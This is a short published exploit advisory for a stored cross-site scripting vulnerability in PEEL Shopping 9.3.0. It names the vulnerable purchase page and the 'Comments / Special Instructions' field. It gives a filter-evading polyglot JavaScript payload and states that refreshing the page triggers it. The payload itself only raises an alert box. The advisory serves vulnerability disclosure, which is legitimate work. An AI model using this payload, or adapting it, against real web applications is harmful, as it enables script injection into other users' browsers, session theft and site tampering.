PEEL Shopping 9.3.0 - 'Comments' Persistent Cross-Site Scripting

# Exploit Title: PEEL Shopping 9.3.0 - 'Comments/Special Instructions' Stored Cross-Site Scripting
# Date: 2021-02-16
# Exploit Author: Anmol K Sachan
# Vendor Homepage: https://www.peel.fr/
# Software Link: https://sourceforge.net/projects/peel-shopping/
# Software: PEEL SHOPPING 9.3.0
# Vulnerability Type: Stored Cross-site Scripting
# Vulnerability: Stored XSS
# Tested on Windows 10 XAMPP
# This application is vulnerable to Stored XSS vulnerability.
# Vulnerable script: http://localhost/peel-shopping_9_3_0/achat/achat_maintenant.php
# Vulnerable parameters: 'Comments / Special Instructions :'
# Payload used:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

# POC: in the same page where we injected payload refresh the page.
# You will see your Javascript code (XSS) executed.